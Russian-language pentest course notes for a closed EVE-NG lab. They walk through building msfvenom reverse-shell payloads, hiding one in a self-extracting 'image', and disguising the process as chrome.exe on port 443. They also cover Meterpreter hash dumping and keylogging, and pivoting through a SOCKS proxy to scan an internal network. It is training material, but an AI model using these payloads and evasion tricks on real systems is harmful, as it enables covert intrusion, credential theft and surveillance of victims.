###### tags: `module9` [ToC] # Занятие 2 Сетевые атаки ## Видеозапись урока {%youtube LvD14q87wG0 %} 0:00:00 треп 0:15:00 введение в занятие 0:18:00 планы на модуль 0:20:00 про eve модули 0:22:15 планы на практические занятия и вопросы. 0:28:00 начало занятия. строим схему. реверсшел 0:34:35 треп и подгтовка к eve к запуску 0:40:00 настраиваем лабу в eve 0:47:25 запускаем eve и треп по теме 0:54:20 запутстили. заходим 0:55:35 про тунелирование и пэйлоад 0:58:05 [eve](https://hackmd.io/@sadykovildar/SkcL6VL4v) 0:59:15 запускаем Kali 1:02:10 перезапускаем лабу 1:08:00 проверяем подключение к Kali 1:09:45 траблшутинг у меня 1:20:50 создание пэйлоада. msf. meterpreter. msvenom. 1:30:40 доставляем и выполяняем у жертвы 1:33:10 перерыв и треп 1:47:55 краткий повтор что делали 1:51:35 продолжаем 1:52:25 подключились 1:53:50 ждем и тянем время 1:56:35 кратко еще раз что мы сделали 1:58:40 первое подключение. пробуем эксплуатировать 2:01:30 готовимся создать тунели метерпретором 2:03:40 постановка задачи 2:04:20 траблшутинг 2:12:35 постановка задачи и краткое пояснение 2:15:10 начинаем изучать атакуемую сеть. роуты 2:18:40 gather/arp_scanner 2:21:00 proxy 2:24:25 proxy практика 2:28:40 proxychains(не работает) 2:34:00 перерыв 2:47:00 траблшутинг proxy 2:55:05 успешный скан 2:57:40 проброс портов. начало 3:01:35 проброс портов. практика 3:06:00 ssh на windows 10. remote tcp forwarding 3:12:10 общий треп 3:18:45 ethernalBlue 3:21:25 ghost proxy 3:23:20 заключение ![](https://i.imgur.com/7ufFJFw.png) ## Настройка лабы Если нет eve, то установка подробно описана [тут](https://hackmd.io/@sadykovildar/SkcL6VL4v) Больше подробностей об eve можно найти [тут](https://www.eve-ng.net/index.php/documentation/installation/). Например, [как настройть стартовую конфигурацию для устройств](https://www.eve-ng.net/index.php/documentation/howtos-video/operate-with-eve-initial-configurations/). :::info Если не работает wireshark, при попытке снифинга возникает ошибка [Connection abandoned](https://ask.wireshark.org/question/17901/when-wireshark-in-eve-ng-shows-message-connection-abandoned/). Open cmd prompt Locate ‘plink.exe’ C:\Program Files\EVE-NG>plink.exe root@eve_server Press ‘Y’ when prompt user: root, password: eve ::: :::danger Постоянно прерывается связь с узлами подключенными к внешним cloud'ам. Предположительно причина в большом размере MTU на интерфейсах. https://blog.dical.org/changing-mtu-in-eve-ng-allowing-jumbo-frames/ https://www.ibm.com/support/pages/how-do-you-change-mtu-value-linux-and-windows-operating-systems понизил mtu на интерфейсах связанных с cloud'ами ``` root@eve-ng:~# ip a | grep "state UP" | grep pnet | cut -d" " -f2,5,9 eth0: 1500 pnet0 eth1: 1500 pnet1 pnet0: 1500 UP pnet1: 1500 UP vunl0_1_0: 9000 pnet1 vunl0_7_2: 9000 pnet0 vunl0_6_0: 9000 pnet0 root@eve-ng:~# ifconfig vunl0_6_0 mtu 1500 root@eve-ng:~# ifconfig vunl0_7_2 mtu 1500 root@eve-ng:~# ifconfig vunl0_1_0 mtu 1500 ``` \+ включил пинги со стороны ноды EVE до 8.8.8.8 ::: ### Схема стенда для лабораторной работы ![](https://i.imgur.com/EJ0o5dS.png "scheme") ### Детали узлов :::spoiler Интернет ![](https://i.imgur.com/jabPC9e.png "cloud") Firewall ![](https://i.imgur.com/PoZQ4Al.png "fw") Switch как подключить cisco IOL устройства к eve [тут](https://www.eve-ng.net/index.php/documentation/howtos/howto-add-cisco-iol-ios-on-linux/) ![](https://i.imgur.com/uojpj8H.png "sw") Windows 10 ![](https://i.imgur.com/1IH7mLe.png "win10") Windows 7 ![](https://i.imgur.com/A2Wi4hA.png "win7") Внутренний linux сервер ![](https://i.imgur.com/bSjIb2g.png "debian") Внешний(атакующий) компьютер ![](https://i.imgur.com/6UQECUL.png "kali") ::: :::info пароли для серверов user/Administrator polAsd1299! root/eve@123 ::: ## Выполнение >Полезные ссылки > >[Секреты Meterpreter Payload](https://habr.com/ru/post/131112/). Meterpreter — расширенная многофункциональная начинка (Payload), которая может быть динамически расширена во время выполнения. В нормальных условиях, это означает, что это обеспечивает Вас основной оболочкой и позволяет Вам добавлять новые особенности к ней по мере необходимости. > >[Продвинутое туннелирование: атакуем внутренние узлы корпоративной сети](https://habr.com/ru/post/326148/) [msfvenom](https://habr.com/ru/company/ruvds/blog/343612/) [Cisco2Eve](https://www.eve-ng.net/index.php/documentation/howtos/howto-add-cisco-iol-ios-on-linux/) :::info Pivoting, это техника, с помощью которой организовывается доступ к тем сетям, к которым мы не имеем доступ при обычных обстоятельствах и полученный с использованием скомпрометированных компьютеров. Сетевая изоляция будет бесполезна в случае, если мы скомпрометируем узел сети, имеющий доступ во все изолированные подсети. Таким образом, атакующий может использовать возможности маршрутизации на скомпрометированной машине для доступа к внутренним корпоративным ресурсам. Каждый запрос, который будет сделан к внутренней сети, будет проходить через скомпрометированный хост, обычно называемый pivot. Другими словами мы получаем туннель во внутреннюю сеть для наших пакетов. ::: ### msfconsole готовим сервис, который будет ждать подключения от нашей нагрузки. запускаем msfconsole ``` ┌──(root💀kali)-[/home/user] └─# msfconsole .:okOOOkdc' 'cdkOOOko:. .xOOOOOOOOOOOOc cOOOOOOOOOOOOx. :OOOOOOOOOOOOOOOk, ,kOOOOOOOOOOOOOOO: 'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO' oOOOOOOOO. .oOOOOoOOOOl. ,OOOOOOOOo dOOOOOOOO. .cOOOOOc. ,OOOOOOOOx lOOOOOOOO. ;d; ,OOOOOOOOl .OOOOOOOO. .; ; ,OOOOOOOO. cOOOOOOO. .OOc. 'oOO. ,OOOOOOOc oOOOOOO. .OOOO. :OOOO. ,OOOOOOo lOOOOO. .OOOO. :OOOO. ,OOOOOl ;OOOO' .OOOO. :OOOO. ;OOOO; .dOOo .OOOOocccxOOOO. xOOd. ,kOl .OOOOOOOOOOOOO. .dOk, :kk;.OOOOOOOOOOOOO.cOk: ;kOOOOOOOOOOOOOOOk: ,xOOOOOOOOOOOx, .lOOOOOOOl. ,dOd, . =[ metasploit v6.1.5-dev ] + -- --=[ 2163 exploits - 1147 auxiliary - 367 post ] + -- --=[ 592 payloads - 45 encoders - 10 nops ] + -- --=[ 8 evasion ] Metasploit tip: View a module's description using info, or the enhanced version in your browser with info -d msf6 > use exploit/multi/ha use exploit/multi/hams/steamed use exploit/multi/handler msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > ``` ищем нагрузку которую мы будем использовать ``` msf6 exploit(multi/handler) > search windows/x64/meterpre Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 payload/windows/x64/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm) 1 payload/windows/x64/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64) 2 payload/windows/x64/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm) 3 payload/windows/x64/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64) 4 payload/windows/x64/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager 5 payload/windows/x64/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager 6 payload/windows/x64/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager 7 payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support 8 payload/windows/x64/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp) 9 payload/windows/x64/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet) 10 payload/windows/x64/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet) 11 payload/windows/x64/meterpreter/reverse_winhttps normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp) 12 payload/windows/x64/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager 13 payload/windows/x64/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager 14 payload/windows/x64/meterpreter_bind_named_pipe normal No Windows Meterpreter Shell, Bind Named Pipe Inline (x64) 15 payload/windows/x64/meterpreter_bind_tcp normal No Windows Meterpreter Shell, Bind TCP Inline (x64) 16 payload/windows/x64/meterpreter_reverse_http normal No Windows Meterpreter Shell, Reverse HTTP Inline (x64) 17 payload/windows/x64/meterpreter_reverse_https normal No Windows Meterpreter Shell, Reverse HTTPS Inline (x64) 18 payload/windows/x64/meterpreter_reverse_ipv6_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64) 19 payload/windows/x64/meterpreter_reverse_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline x64 Interact with a module by name or index. For example info 19, use 19 or use payload/windows/x64/meterpreter_reverse_tcp ``` Будем использовать payload/windows/x64/meterpreter/reverse_tcp Посмотрим дополнительную информацию по нагрузке ``` msf6 exploit(multi/handler) > info 13 Name: Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager Module: payload/windows/x64/meterpreter/reverse_tcp Platform: Windows Arch: x64 Needs Admin: No Total size: 449 Rank: Normal Provided by: skape <mmiller@hick.org> sf <stephen_fewer@harmonysecurity.com> OJ Reeves Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Description: Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Connect back to the attacker (Windows x64) ``` устанавливаем выбранную нагрузку ``` msf6 exploit(multi/handler) > set payload payload/windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp msf6 exploit(multi/handler) > ``` устнавливает ip который будет слушать обращения от нашей нагрузки ``` msf6 exploit(multi/handler) > set lhost 0.0.0.0 lhost => 0.0.0.0 msf6 exploit(multi/handler) > ``` смотрим результат ``` msf6 exploit(multi/handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (windows/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 0.0.0.0 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target ``` и запускаем сервис ``` msf6 exploit(multi/handler) > run [*] Started reverse TCP handler on 0.0.0.0:4444 ``` ### msfvenom. готовим нагрузку [msfvenom на habr](https://habr.com/ru/company/ruvds/blog/343612/) #### для meterpreter'а для создания нагрузки будем использовать приложение **msfvenom** и нагрузку **windows/meterpreter/reverse_tcp** ``` ┌──(root💀kali)-[/home/user] └─# msfvenom Error: No options MsfVenom - a Metasploit standalone payload generator. Also a replacement for msfpayload and msfencode. Usage: /usr/bin/msfvenom [options] <var=val> Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe Options: -l, --list <type> List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all -p, --payload <payload> Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom --list-options List --payload <value>'s standard, advanced and evasion options -f, --format <format> Output format (use --list formats to list) -e, --encoder <encoder> The encoder to use (use --list encoders to list) --service-name <value> The service name to use when generating a service binary --sec-name <value> The new section name to use when generating large Windows binaries. Default: random 4-character alpha string --smallest Generate the smallest possible payload using all available encoders --encrypt <value> The type of encryption or encoding to apply to the shellcode (use --list encrypt to list) --encrypt-key <value> A key to be used for --encrypt --encrypt-iv <value> An initialization vector for --encrypt -a, --arch <arch> The architecture to use for --payload and --encoders (use --list archs to list) --platform <platform> The platform for --payload (use --list platforms to list) -o, --out <path> Save the payload to a file -b, --bad-chars <list> Characters to avoid example: '\x00\xff' -n, --nopsled <length> Prepend a nopsled of [length] size on to the payload --pad-nops Use nopsled size specified by -n <length> as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length) -s, --space <length> The maximum size of the resulting payload --encoder-space <length> The maximum size of the encoded payload (defaults to the -s value) -i, --iterations <count> The number of times to encode the payload -c, --add-code <path> Specify an additional win32 shellcode file to include -x, --template <path> Specify a custom executable file to use as a template -k, --keep Preserve the --template behaviour and inject the payload as a new thread -v, --var-name <value> Specify a custom variable name to use for certain output formats -t, --timeout <second> The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable) -h, --help Show this message ``` Создадим файл для windows с нагрузкой ``` ┌──(root💀kali)-[/home/user] └─# msfvenom -p windows/meterpreter_reverse_tcp lhost=10.0.0.16 lport=4444 -f exe > revers_tcp.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder specified, outputting raw payload Payload size: 175174 bytes Final size of exe file: 250368 bytes ``` Полученный файл ```revers_tcp.exe``` как видно из названия используемой для его генерации ```windows/meterpreter_reverse_tcp``` требует merterpreter для подключения, но можно сгенерировать нагрузку которая для подключений не потребует этого фрэймфорка. #### для ncat Все тоже самое, но будем использовать нагрузку, которая может установить подключение к nc msfvenom -p windows/shell_reverse_tcp ahost=10.0.0.16 lport=1111 -f exe > ncshell.exe На атакующей строне выполняем и ждем подключения, как только соединение будет установленно мы получим ограниченный доступ к шелу удаленной машины. nc -lvp 1111 #### Что еще можно В [этом линке](https://habr.com/ru/company/ruvds/blog/343612/) кроме выше указанного можно узнать, как сделать Пэйлоады-макросы на VBA, подключиться к рабочей сессий жертвы по VNC, как создать наргрузки для Android, для PowerShell и для Linux. #### Прячем в картинку В этой статье описано [как можно упаковать нагрузку в картинку](https://medium.com/@chamo.wijetunga/hide-payloads-behind-images-and-hacking-windows-fb82cf2f0e7c), только **в статье пропущен** один момент: Следует включить ```Hide all``` в разделе ```Silent mode```, что бы при распаковке winrar не задавал лишних вопросов. ![](https://i.imgur.com/OU5GL3g.png) >так же возможно следет обратить внимание на папку распаковки и задать её при архивировании Но даже если winrar ни чего не спрашивает, все равно при открытии "картинки" возникает еще один вопрос от ОС. ==надо разобраться.== ![](https://i.imgur.com/md0nHYl.png) в результате если у пользователя не отображаются расширения для файлов и нет проверки при запуске, то при двойном щелчке нагрузка будет запущена, а пользователь увидит картинку в приложение, которое по умолчанию используется для этого. ### Доставляем нагрузку Теперь нам необходимо доставить полученный файл на машину жертвы. В нашем тепличном случае, мы просто запустим веб сервер, запустив python в папке с нашей нагрузкой и скачаем её на машину жертвы. Как в виде "картинки", так и в обычном виде. ``` ┌──(root💀kali)-[/home/user] └─# python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... ``` ### Запускаем нагрузку Скачиваем и запускаем подготовленный файл на атакуемой машине и в окне ожидания подключения на атакующей машине видим результат: подключение установленно. ``` msf6 exploit(multi/handler) > run [*] Started reverse TCP handler on 0.0.0.0:4444 [*] Sending stage (200262 bytes) to 10.0.0.17 [*] Meterpreter session 1 opened (10.0.0.16:4444 -> 10.0.0.17:13028) at 2021-12-18 14:27:10 -0500 ``` Проверил что мы подключились командой ```dir``` и вижу ответ удаленной машины ``` meterpreter > dir Listing: C:\Users\user\Downloads ================================ Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 100666/rw-rw-rw- 282 fil 2018-12-27 20:47:54 -0500 desktop.ini 100777/rwxrwxrwx 250368 fil 2021-12-18 14:24:02 -0500 revers_tcp.exe ``` #### Сбор информации Полезная для сбора и изучения информация ``` meterpreter > run winenum [*] Running Windows Local Enumerion Meterpreter Script [*] New session on 192.168.ххх.ххх:1197... [*] Saving general report to /root/.msf4/logs/scripts/winenum/MICROSOF-30B51A_20111024.0931/MICROSOF-30B51A_20111024.0931.txt [*] Output of each individual command is saved to /root/.msf4/logs/scripts/winenum/MICROSOF-30B51A_20111024.0931 [*] Checking if MICROSOF-30B51A is a Virtual Machine ........ [*] UAC is Disabled [*] Running Command List ... [*] running command net view [*] running command netstat -ns [*] running command net accounts [*] running command netstat -vb [*] running command route print [*] running command netstat -nao [*] running command ipconfig /all [*] running command arp -a [*] running command cmd.exe /c set [*] running command ipconfig /displaydns [*] running command tasklist /svc [*] running command netsh firewall show config [*] running command net group administrators [*] running command net view /domain [*] running command net localgroup administrators [*] running command net localgroup [*] running command net user [*] running command net group [*] running command net session [*] running command net share [*] running command gpresult /SCOPE USER /Z [*] running command gpresult /SCOPE COMPUTER /Z [*] Running WMIC Commands .... [*] running command wmic netlogin get name,lastlogon,badpasswordcount [*] running command wmic nteventlog get path,filename,writeable [*] running command wmic netclient list brief [*] running command wmic share get name,path [*] running command wmic logicaldisk get description,filesystem,name,size [*] running command wmic volume list brief [*] running command wmic netuse get name,username,connectiontype,localname [*] running command wmic service list brief [*] running command wmic group list [*] running command wmic useraccount list [*] running command wmic qfe [*] running command wmic product get name,version [*] running command wmic rdtoggle list [*] running command wmic startup list full [*] Extracting software list from registry [*] Dumping password hashes... [*] Getting Tokens... [*] All tokens have been processed [*] Done! ``` ``` meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.1.0/24 [*] Running module against DESKTOP-W10 [*] ARP Scanning 192.168.1.0/24 [+] IP: 192.168.1.1 MAC 50:00:00:01:00:01 (UNKNOWN) [+] IP: 192.168.1.20 MAC 00:50:00:00:03:00 (NEXO COMMUNICATIONS, INC.) [+] IP: 192.168.1.102 MAC 50:00:00:04:00:00 (UNKNOWN) [+] IP: 192.168.1.103 MAC 00:50:00:00:03:00 (NEXO COMMUNICATIONS, INC.) [+] IP: 192.168.1.101 MAC 50:00:00:05:00:00 (UNKNOWN) [+] IP: 192.168.1.255 MAC 50:00:00:04:00:00 (UNKNOWN) meterpreter > ``` Мы получаем хэш паролей, настройки системы, список пользователей и многое другое. ``` meterpreter > show_mount Mounts / Drives =============== Name Type Size (Total) Size (Free) Mapped to ---- ---- ------------ ----------- --------- A:\ removable 0.00 B 0.00 B B:\ removable 1.39 MiB 1.11 MiB C:\ fixed 39.51 GiB 25.31 GiB D:\ cdrom 0.00 B 0.00 B ``` ``` meterpreter > getuid Server username: DESKTOP-W10\user meterpreter > getsid Server SID: S-1-5-21-1522232975-2416272640-54374292-1001 meterpreter > getenv [-] None of the specified environment variables were found/set. ``` #### Shell Можем перейти в шел удаленной машины ``` meterpreter > shell Process 2296 created. Channel 3 created. Microsoft Windows [Version 10.0.14393] (c) 2016 Microsoft Corporation. All rights reserved. C:\Users\user\Documents>cd c:\windows cd c:\windows c:\Windows>dir dir Volume in drive C has no label. Volume Serial Number is 4AB6-F51D Directory of c:\Windows 12/27/2018 06:25 PM <DIR> . 12/27/2018 06:25 PM <DIR> .. 07/16/2016 03:47 AM <DIR> addins 07/16/2016 03:47 AM <DIR> appcompat 07/16/2016 06:13 AM <DIR> AppPatch 12/18/2021 07:05 PM <DIR> AppReadiness 07/16/2016 06:39 AM <DIR> assembly 07/16/2016 03:47 AM <DIR> bcastdvr ``` #### Операции с оборудованием Если нужно отключить клавиатуру или мышь, используется команда uictl. Принимает она следующие параметры: uictl [enable/disable] [keyboard/mouse] Enable — включает; disable — отключает. ``` meterpreter > uictl disable mouse #Отключаем мышь Disabling mouse... meterpreter > uictl enable mouse #Включаем мышь Enabling mouse... meterpreter > uictl disable keyboard #Отключаем клавиатуру Disabling keyboard... meterpreter > uictl enable keyboard #Включаем мышь Enabling keyboard... ``` #### Кейлогер Встроенных кейлогера аж два. Один — просто набор команд: keyscan_start — запускает кейлогер; keyscan_dump — выводит полученный результат; keyscan_stop — останавливает работу кейлогера. Есть также скрипт под названием keylogrecorder. Он более эффективен чем keyscan, и более того, записывает результат в лог: ``` meterpreter > bgrun keylogrecorder [*] Executed Meterpreter with Job ID 2 meterpreter > [*] Starting the keystroke sniffer... [*] Keystrokes being saved in to /root/.msf4/logs/scripts/keylogrecorder/192.168.ххх.ххх_20111024.4455.txt #адрес лога [*] Recording meterpreter > bgkill 2 #отключаем кейлогер [*] Killing background job 2... ``` #### Ruby Meterpreter также предоставляет выполнение сценариев Ruby. Например, мы можем вывести окно с сообщением (MessageBox) или заблокировать рабочую станцию. ### Список команд :::spoiler полный список доступных команд, как обычно ```help``` ``` meterpreter > help Core Commands ============= Command Description ------- ----------- ? Help menu background Backgrounds the current session bg Alias for background bgkill Kills a background meterpreter script bglist Lists running background scripts bgrun Executes a meterpreter script as a background thread channel Displays information or control active channels close Closes a channel detach Detach the meterpreter session (for http/https) disable_unicode_encoding Disables encoding of unicode strings enable_unicode_encoding Enables encoding of unicode strings exit Terminate the meterpreter session get_timeouts Get the current session timeout values guid Get the session GUID help Help menu info Displays information about a Post module irb Open an interactive Ruby shell on the current session load Load one or more meterpreter extensions machine_id Get the MSF ID of the machine attached to the session migrate Migrate the server to another process pivot Manage pivot listeners pry Open the Pry debugger on the current session quit Terminate the meterpreter session read Reads data from a channel resource Run the commands stored in a file run Executes a meterpreter script or Post module secure (Re)Negotiate TLV packet encryption on the session sessions Quickly switch to another session set_timeouts Set the current session timeout values sleep Force Meterpreter to go quiet, then re-establish session ssl_verify Modify the SSL certificate verification setting transport Manage the transport mechanisms use Deprecated alias for "load" uuid Get the UUID for the current session write Writes data to a channel Stdapi: File system Commands ============================ Command Description ------- ----------- cat Read the contents of a file to the screen cd Change directory checksum Retrieve the checksum of a file cp Copy source to destination del Delete the specified file dir List files (alias for ls) download Download a file or directory edit Edit a file getlwd Print local working directory getwd Print working directory lcd Change local working directory lls List local files lpwd Print local working directory ls List files mkdir Make directory mv Move source to destination pwd Print working directory rm Delete the specified file rmdir Remove directory search Search for files show_mount List all mount points/logical drives upload Upload a file or directory Stdapi: Networking Commands =========================== Command Description ------- ----------- arp Display the host ARP cache getproxy Display the current proxy configuration ifconfig Display interfaces ipconfig Display interfaces netstat Display the network connections portfwd Forward a local port to a remote service resolve Resolve a set of host names on the target route View and modify the routing table Stdapi: System Commands ======================= Command Description ------- ----------- clearev Clear the event log drop_token Relinquishes any active impersonation token. execute Execute a command getenv Get one or more environment variable values getpid Get the current process identifier getprivs Attempt to enable all privileges available to the current process getsid Get the SID of the user that the server is running as getuid Get the user that the server is running as kill Terminate a process localtime Displays the target system local date and time pgrep Filter processes by name pkill Terminate processes by name ps List running processes reboot Reboots the remote computer reg Modify and interact with the remote registry rev2self Calls RevertToSelf() on the remote machine shell Drop into a system command shell shutdown Shuts down the remote computer steal_token Attempts to steal an impersonation token from the target process suspend Suspends or resumes a list of processes sysinfo Gets information about the remote system, such as OS Stdapi: User interface Commands =============================== Command Description ------- ----------- enumdesktops List all accessible desktops and window stations getdesktop Get the current meterpreter desktop idletime Returns the number of seconds the remote user has been idle keyboard_send Send keystrokes keyevent Send key events keyscan_dump Dump the keystroke buffer keyscan_start Start capturing keystrokes keyscan_stop Stop capturing keystrokes mouse Send mouse events screenshare Watch the remote user desktop in real time screenshot Grab a screenshot of the interactive desktop setdesktop Change the meterpreters current desktop uictl Control some of the user interface components Stdapi: Webcam Commands ======================= Command Description ------- ----------- record_mic Record audio from the default microphone for X seconds webcam_chat Start a video chat webcam_list List webcams webcam_snap Take a snapshot from the specified webcam webcam_stream Play a video stream from the specified webcam Stdapi: Audio Output Commands ============================= Command Description ------- ----------- play play a waveform audio file (.wav) on the target system Priv: Elevate Commands ====================== Command Description ------- ----------- getsystem Attempt to elevate your privilege to that of local system. Priv: Password database Commands ================================ Command Description ------- ----------- hashdump Dumps the contents of the SAM database Priv: Timestomp Commands ======================== Command Description ------- ----------- timestomp Manipulate file MACE attributes meterpreter > ``` :::warning следует узнать rev2self Calls RevertToSelf() on the remote machine ::: ::: ### Пробуем спрятать процесс На атакуемой машине остановил и переименовал исполняемый файл в chrome.exe и запустил, снова получил соединение. Результат вывода ```netstat -aonb``` на атакуемой машине. Видим что "chrome" установил нужное нам соединение. Можем по ![](https://i.imgur.com/EuZU8RL.png) Переделал нагрузку для подключения по менее заметному порту 443 и снова подключился ![](https://i.imgur.com/eJLlGnc.png) При внимательном изучении процесов левый хром заметен сразу ![](https://i.imgur.com/0JcU9o6.png) ![](https://i.imgur.com/Z10c7Pd.png) Хорошая новость, иконку у [exe мы можем поменять](https://www.howtogeek.com/75983/stupid-geek-tricks-how-to-modify-the-icon-of-an-.exe-file/), а ``коммандная строка`` и ``путь к файлу`` по умолчанию у обычного пользователя не отображаются. ### Защита от детектирования антивирусами Подробности рассмотренны на 5м модуле в [домашней работе №8](https://hackmd.io/4NLTKgxlSduhYTIYfn_DNA#%D0%94%D0%BE%D0%BC%D0%B0%D1%88%D0%BA%D0%B0-%E2%84%968-%D0%97%D0%B0%D1%89%D0%B8%D1%82%D0%B0-%D0%BE%D1%82-%D0%B4%D0%B5%D1%82%D0%B5%D0%BA%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F-%D0%B0%D0%BD%D1%82%D0%B8%D0%B2%D0%B8%D1%80%D1%83%D1%81%D0%B0%D0%BC%D0%B8) ### Настройка маршрутов #### autoroute Создадим маршрут с атакующей машины через атакуемую до внутренней сети. ``` meterpreter > run autoroute -s 192.168.1.0/24 [!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute. [!] Example: run post/multi/manage/autoroute OPTION=value [...] [*] Adding a route to 192.168.1.0/255.255.255.0... [+] Added route to 192.168.1.0/255.255.255.0 via 10.0.0.17 [*] Use the -p option to list all active routes meterpreter > meterpreter > run autoroute -p [!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute. [!] Example: run post/multi/manage/autoroute OPTION=value [...] Active Routing Table ==================== Subnet Netmask Gateway ------ ------- ------- 192.168.1.0 255.255.255.0 Session 2 ``` ### Прокси Для дальнейшей эксплуатации удаленной сети, настраиваем прокси через атакуемую машину. Будем использовать proxychains. ==Необходимо проверить китайскую проксю==[ghost](https://github.com/ginuerzh/gost) уводим нашу сессию в фон ``` meterpreter > bg [*] Backgrounding session 2... msf6 exploit(multi/handler) > ``` ##### Настраиваем прокси подключаем прокси модуль ``` msf6 exploit(multi/handler) > use auxiliary/server/socks_proxy ``` проверяем настройки ``` msf6 auxiliary(server/socks_proxy) > show options Module options (auxiliary/server/socks_proxy): Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD no Proxy password for SOCKS5 listener SRVHOST 0.0.0.0 yes The address to listen on SRVPORT 1081 yes The port to listen on USERNAME no Proxy username for SOCKS5 listener VERSION 5 yes The SOCKS version to use (Accepted: 4a, 5) Auxiliary action: Name Description ---- ----------- Proxy Run a SOCKS proxy server ``` и запускаем ``` msf6 auxiliary(server/socks_proxy) > run [*] Auxiliary module running as background job 0. [*] Starting the SOCKS proxy server ``` В другом окне терминала редактируем конфиг файл для proxychains ``` ┌──(root💀kali)-[/home/user] └─# nano /etc/proxychains4.conf ``` добавляем настройки нашей прокси для 127.0.0.1:1081 а раздел [ProxyList] ``` [ProxyList] # add proxy here ... # meanwile # defaults set to "tor" socks5 127.0.0.1 1081 #socks4 192.168.1.102 9050 ``` ##### Nmap через прокси :::danger Обязательно следует учесть при работе с nmap через прокси. As suggested in this post Nmap through proxy : ICMP ping can not be done to see if a host is alive, since ICMP is not TCP. So you might need to skip the host discovery step if your targets are only accessible through the proxy (-Pn). Since (the unsupported) SOCKS5 ICMP does not support ICMP either this will not change in the future. You have to use the **-Pn option** to get nmap working with proxychains utility. So the command would be proxychains nmap -sT -Pn -v www.example.com Here, -sT is for scanning TCP ports. And also u can't use the -O flag as host discovery can not be done using TCP. [источник](https://security.stackexchange.com/questions/122561/how-to-use-nmap-through-proxychains) [первоисточник](https://security.stackexchange.com/questions/120708/nmap-through-proxy/120723#120723) ::: >-Pn - не пинговать -sT проверять на TCP Connect -v - вывод в процессе сканирования. от -v до -vvv -open - показвать только открытые порты в финальном выводе ``` ┌──(root💀kali)-[/home/user] └─# proxychains nmap -sT -Pn -v -p445 192.168.1.0/24 -open [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.14 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-19 05:14 EST Initiating Parallel DNS resolution of 256 hosts. at 05:14 Completed Parallel DNS resolution of 256 hosts. at 05:20, 338.24s elapsed Initiating Connect Scan at 05:20 Scanning 256 hosts [1 port/host] [proxychains] Strict chain ... 127.0.0.1:1081 ... 192.168.1.1:445 <--socket error or timeout! [proxychains] Strict chain ... 127.0.0.1:1081 ... 192.168.1.4:445 <--socket error or timeout! adjust_timeouts2: packet supposedly had rtt of 15027219 microseconds. Ignoring time. [proxychains] Strict chain ... 127.0.0.1:1081 ... 192.168.1.7:445 <--socket error or timeout! adjust_timeouts2: packet supposedly had rtt of 15042781 microseconds. Ignoring time. Connect Scan Timing: About 1.17% done; ETC: 06:24 (1:03:15 remaining) [proxychains] Strict chain ... 127.0.0.1:1081 ... 192.168.1.10:445 <--socket error or timeout! adjust_timeouts2: packet supposedly had rtt of 15035970 microseconds. Ignoring time. ``` Процесс возможно будет идти долго, предполагаемое время сканирования около часа. Connect Scan Timing: About 1.17% done; 